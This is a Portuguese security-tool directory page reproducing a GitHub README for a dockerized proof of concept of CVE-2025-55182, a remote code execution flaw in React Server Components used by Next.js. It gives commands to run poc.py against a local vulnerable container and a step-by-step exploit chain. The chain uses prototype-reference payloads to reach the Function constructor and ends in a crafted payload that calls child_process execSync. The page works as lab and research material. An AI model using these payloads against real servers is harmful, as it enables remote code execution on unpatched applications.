Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-55182-Dockerized | Kitploit
Ferramentas/GitHubGitHub/clevernyyyy/cve-2025-55182-dockerized
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHubclevernyyyy/cve-2025-55182-dockerized

CVE-2025-55182-Dockerized

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
1há 5 mesesAinda não revisado

CVE-2025-55182 - Prova de Conceito Dockerizada

Este repositório contém uma prova de conceito dockerizada para a CVE-2025-55182, uma vulnerabilidade crítica de execução remota de código nos React Server Components (RSC) que afeta aplicações Next.js que utilizam Server Actions.

Créditos

A prova de conceito original e a análise da vulnerabilidade foram criadas por msanft. Este repositório estende o trabalho deles ao fornecer um ambiente de teste dockerizado para facilitar os testes e a demonstração.

Início Rápido

Pré-requisitos

  • Docker instalado e em execução
  • Python 3 com a biblioteca requests (pip install requests)

Executando o Exploit

  1. Inicie o servidor Next.js vulnerável:

    root@kitploit:~
    docker compose up --build -d
    
  2. Aguarde o servidor iniciar (verifique os logs com docker compose logs -f nextjs-server)

  3. Execute o exploit:

    root@kitploit:~
    # Automated script (recommended)
    ./exploit-docker.sh
    
    # Or manually
    ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
    python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
    
  4. Verifique se o exploit funcionou:

    root@kitploit:~
    docker compose exec nextjs-server ls -la /tmp/rce_test
    

Exemplos de Comandos

root@kitploit:~
# Create a file
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"

# Write to a file
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"

# Check current user
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"

# Verify results
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user

Notas Importantes

  • ⚠️ Erros de tempo limite são ESPERADOS - eles indicam que o RCE foi executado com sucesso
  • O servidor trava após executar o comando, o que causa o tempo limite do HTTP
  • Os comandos são executados como o usuário nextjs (UID 1001) dentro do contêiner
  • Os arquivos são criados no sistema de arquivos do contêiner, não no host

Configuração Docker

Este repositório inclui uma configuração Docker completa para testar a vulnerabilidade:

  • docker-compose.yml - Configuração do Docker Compose
  • test-server/ - Aplicação Next.js vulnerável
  • test-server/Dockerfile - Dockerfile de produção
  • test-server/Dockerfile.dev - Dockerfile de desenvolvimento (opcional)

O servidor vulnerável executa Next.js 16.0.6 com uma Server Action simples que pode ser explorada.

Arquivos

  • poc.py - Script Python de prova de conceito (original de msanft, com correções de escape de aspas)
  • exploit-docker.sh - Script de exploit automatizado para o ambiente Docker
  • DOCKER_SETUP.md - Documentação abrangente de configuração Docker

Limpeza

root@kitploit:~
# Stop the container
docker compose down

# Remove everything (including volumes)
docker compose down -v

Análise Original da Vulnerabilidade

A análise detalhada da vulnerabilidade, a cadeia de exploração e as informações sobre o patch da pesquisa original são fornecidas abaixo.


Pesquisa Original por msanft

Esta vulnerabilidade permite RCE nas React Server Functions, como as oferecidas pelo Next.js por meio de referências inseguras a protótipos.

Não sou especialista em React ou Next.js, portanto, leve todas as informações aqui com um grão de sal. Além disso, ainda estou no processo de análise, então o que descrevo abaixo como "a vulnerabilidade" pode ser apenas uma pequena parte de toda a cadeia.

Contexto

O React oferece Server Functions1, que podem ser vistas como uma espécie de RPC sobre HTTP. Elas podem ser usadas para buscar dados de pares adjacentes para garantir baixa latência, ou realizar requisições autenticadas para as quais o cliente não possui credenciais.

O React usa algo chamado React Flight Protocol2 para serialização dos valores passados às Server Functions.

O cliente passa "chunks" para o servidor, por exemplo, via form data:

root@kitploit:~
files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

Como mostrado, esses chunks podem ter referências entre si. O payload acima é desserializado no servidor da seguinte forma:

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

O formato em si é um pouco mais intrincado e permite serialização e desserialização mais complexas, mas isso fornece uma compreensão básica da vulnerabilidade real.

Vulnerabilidade

Até este commit3, ao percorrer chunks na resolução de referências, como obter fruitName do chunk 2 no exemplo acima, o React não verificava se a chave solicitada estava de fato definida no objeto. Isso nos permitia obter o protótipo do objeto4.

Isso pode ser demonstrado com um payload como este:

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Que é desserializado para o construtor de função5:

root@kitploit:~
[Function: Function]

Quando o chunk com ID 0 não é um array, mas um objeto, podemos definir a chave then como o construtor de função. O objeto é então retornado pela função decodeReplyFromBusboy e aguardado pelo Next.js:

root@kitploit:~
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Quando isso retorna um thenable, o await no chamador o invocará. Isso é o que acontece com este payload:

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Levando a este erro:

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

O erro se parece com isso porque o V8 chama uma função aguardada (awaited) com as funções internas resolve e reject, que, quando convertidas com toString, são serializadas para algo como isto:

root@kitploit:~
function () { [native code] }

Exploração

Como podemos trivialmente obter o construtor Function, o caminho direto é encontrar um gadget de chamada que invoque o construtor com um valor controlado pelo usuário (ou seja, o código da função como uma string) e depois chame a função retornada.

Existem vários lugares que podem chamar o construtor de função, por exemplo, resolveServerReference, onde id é um objeto controlado, e lastIndexOf pode ser sobrescrito para retornar uma string controlada pelo usuário (por exemplo, via Array.prototype.join) e slice pode ser sobrescrito para o construtor de função. No entanto, esse lugar não funciona porque a segunda invocação de .slice() fornece um número como primeiro argumento, que, pelo que sei, nunca pode ser tratado pelo construtor de função.

Aqui, uma ideia brilhante de maple31426 entra em cena. Quando getChunk obtém o chunk no ID 0 como referência raiz para começar a resolver a cadeia de referências, esse mesmo chunk pode resolver para um "chunk falso" criado especialmente.

Podemos referenciar o chunk 0 criado no chunk 1 usando a sintaxe $@, que retorna o chunk "cru", não o seu valor resolvido:

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Combinando isso com nossa sobrescrita de then acima, podemos criar algo como isto:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

Aqui, o chunk 0 sobrescreve seu próprio .then() com o .then() de sua própria representação de chunk cru. Em termos simples, sobrescrevemos nosso próprio .then() com Chunk.prototype.then, que existe, pois os Chunks são thenables:

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

Com o payload acima, Chunk.prototype.then é eventualmente chamado com o chunk falso com ID 0.

Como mostrado acima, quando .status em nosso chunk falso é resolved_model:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

Entramos em initializeModelChunk. Aqui, .value é analisado como JSON, e então as referências são resolvidas no objeto retornado, usando o contexto "externo" de nossos chunks com IDs 0 e 1:

root@kitploit:~
function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...

Dentro disso, agora temos uma segunda passagem de avaliação com um pouco mais de valores aos quais temos acesso devido ao contexto externo já estar resolvido.

Há um gadget de chamada no tratamento de dados blob com o prefixo $B no flight protocol:

root@kitploit:~
case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );

Usando o campo especial _response, controlamos a propriedade response do chunk falso:

root@kitploit:~
// in initializeModelChunk
value = reviveModel(chunk._response, // ...

Com isso, podemos criar um objeto com propriedades falsas ._formData e ._prefix:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; // ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

O .reason precisa ser adicionado para evitar falha na invocação de toString em `initializeModelChunk:

root@kitploit:~
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;

Ao apontar ._formData para o construtor de função e ._prefix para nosso código, obtemos um gadget de invocação para o construtor de função na desserialização de blob:

root@kitploit:~
response._formData.get(response._prefix + "0")
// becomes
Function("return foo; // 0")

Nossa função criada é então retornada por parseModelString como o método .then() do chunk falso, que também é aguardado, pois tudo isso ocorre em uma única cadeia de resolução de promessas. Assim, ao retornar um thenable, nossa função criada é chamada. Isso constitui o gadget de chamada necessário mencionado acima.

Juntando tudo isso com um payload de RCE real, obtemos algo como isto:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    # "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

Correção

O uso de referências a chunks para recuperar propriedades de protótipo é corrigido com esta verificação:

root@kitploit:~
@@ -78,7 +80,10 @@ export function preloadModule<T>(
 
 export function requireModule<T>(metadata: ClientReference<T>): T {
   const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
 }

Perguntas em aberto

  • Por que o aviso do React7 menciona que esta vulnerabilidade poderia ser acionada mesmo sem declarar ativamente server functions? Existem outras coisas que se transformam em server functions nos bastidores?

Footnotes

  1. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩

  2. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩

  3. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩

  4. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩

  5. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩

Baixar ferramenta

https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/x.com/maple3142%3E ↩

  • https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components%3E ↩